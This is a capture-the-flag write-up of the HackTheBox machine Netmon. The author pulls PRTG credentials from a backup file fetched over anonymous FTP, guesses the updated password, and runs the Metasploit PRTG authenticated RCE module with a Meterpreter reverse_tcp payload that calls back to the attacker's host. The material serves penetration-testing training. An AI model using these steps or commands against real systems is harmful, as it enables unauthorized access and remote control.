Netmon HackTheBox WalkThrough

Netmon hackthebox walkthrough

This is Netmon HackTheBox machine walkthrough and is also the 24th machine of our OSCP like HTB Boxes series. In this writeup I have demonstrated step-by-step how I rooted to Netmon HackTheBox machine. But, before diving into the hacking part let us know something about this box. It is a Windows OS machine with IP address and difficulty easy assigned by its maker.

Since this machine is retired so you will require VIP subscription at to access this machine. So first of all connect your Kali/Parrot machine with HackTheBox VPN and confirm your connectivity with this machine by pinging its IP If all goes correct then start hacking.

As usual I started by scanning the machine with Nmap. Scanning gives us some idea how we have to proceed further like it helps to find open and closed ports and gives us information of different services running over them. I have used Nmap for this task and the result is given below:-


$ sudo nmap -sC -sV -sT -T3 -oA nmap/Netmon

Performing nmap scan during Netmon hackthebox walkthrough

Nmap found many number of ports as open. Among these ports port number 21 and 80 are most important because anonymous login is allowed on port 21 where ftpd server is running. Httpd server is running over port 80 and port 80 has more attack surface as compared to other ports. Nmap script http-server-header revealed that it is using PRTG 18.1.37 web server for hosting website over it. You can also confirm the server version by checking http response header of the server. It gives almost 100 % correct answer.

Banner Grabbing Server Version

$ curl --head -L

Checking Server software version using http-response header

Response header revealed the web server version which is PRTG 18.1.37. Soon I get any software and its version my next step is to search for available exploit for particular version. This time too I did the same thing.

Searching for Available Exploits

$ searchsploit PRTG

Searching for available exploit during Netmon hackthebox walkthrough

$ Searchsploit (Kali tool to query exploit-db database offline) revealed that PRTG Network Monitor 18.2.38 is affected with authenticated RCE. So to use this exploit we need a valid credential. After going to  redirected to login page. Then tried to login with its default credential prtgadmin: prtgadmin and some other well-known credentials like admin: admin, admin: password but nothing worked.

PTRG network monitor web server

We also have anonymous login allowed on ftp server. Let us explore whether we can get anything interesting from the ftp shared folder. After some initial enumeration I could download user.txt file from C:\Users\Public\ further I could not found any way by which I could get shell. I tried to upload some webshell in PRTG web directory but file upload is not allowed.

Then I thought if web application requires some credential so that credential must be present in some configuration file from which it authenticate the user. After some googling I found the location where PRTG Monitor stores its users credential. Check this link for more info. It revealed that it stores data at directory \ProgramData\\Paessler\\"PRTG Network Monitor"\. After accessing the folder PRTG network Monitor found many configuration files. Didn’t know which would be helpful that’s why I downloaded all of them to my Kali machine for further analysis.

Logging to FTP account

$ ftp

Username : anonymous

Password : anything

ftp> cd \\ProgramData\\Paessler\\"PRTG Network Monitor"\\

ftp> ls

ftp> get "PRTG Configuration.old.bak"

ftp> exit

Ftp anonymous login during Netmon hackthebox walkthrough

After analyzing all the other configuration files I could not found anything special in them but I found a username and a password in PRTG Configuration.old.bak file.

Extracting Password from Backup File

$ grep -A3 -B3 -i prtgadmin 'PRTG Configuration.old.bak'

configuration file of PRTG network monitor found during  Netmon hackthebox walkthrough

The extracted credential is prtgadmin: PrTg@dmin2018. When I tried to login at URL using this credential it gave me login failed. But when I tried to login using the creds prtgadmin: PrTg@dmin2019 I logged in successfully. I updated the password from PrTg@dmin2018 to PrTg@dmin2019 just to test whether this password is being updated by every year and it do. Anyway, let us move to run our exploit to get Remote Code Execution on Netmon machine.

After some googling I found that a metasploit module for PRTG Monitor Authenticated RCE is also present. Check this link for more info and the module is exploit/windows/http/prtg_authenticated_rce.

Searching exploit over

So let us exploit this machine to get user shell on our machine.

Getting User Shell

msf6 > search prtg

msf6 > use exploit/windows/http/prtg_authenticated_rce

msf6 exploit(windows/http/prtg_authenticated_rce) > set RHOSTS

msf6 exploit(windows/http/prtg_authenticated_rce) > set PAYLOAD windows/meterpreter/reverse_tcp

msf6 exploit(windows/http/prtg_authenticated_rce) > set ADMIN_USERNAME prtgadmin

msf6 exploit(windows/http/prtg_authenticated_rce) > set ADMIN_PASSWORD PrTg@dmin2019

msf6 exploit(windows/http/prtg_authenticated_rce) > set LHOST

msf6 exploit(windows/http/prtg_authenticated_rce) > set VHOST

msf6 exploit(windows/http/prtg_authenticated_rce) > exploit

meterpreter > sysinfo

meterpreter > getuid

Getting user shell during Netmon hackthebox walkthrough

We got a meterpreter shell and that too with the NT AUTHORITY\SYSTEM privilege. This shell is elevated because PRTG Software is running as Admin User Privilege. Let us capture user and root flag from their respective directories.

Capture User & Root Flag

meterpreter > search -f user.txt C:\\Users\\Public\\Desktop\\

meterpreter > cat "c:\Users\Public\Desktop\user.txt"

meterpreter > search -f root.txt C:\\Administrator\\

meterpreter > cat "c:\Users\Administrator\Desktop\root.txt"

Capturing user and root flag in Netmon HTB walkthrough

This was how I rooted Netmon HackTheBox machine. Learnt a lot after this challenge, hope you have also learnt some new things. Thanks for reading this walkthrough. For any query and suggestion related to walkthrough feel free to write us at [email protected].

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Deepak Kumar Maurya

Hi everyone, I am Deepak Kumar Maurya, creator of I am InfoSec Consultant in day and Bug Bounty Hunter & CTF player at night. Sometimes write walkthrough and other cyber security articles here. You can connect me at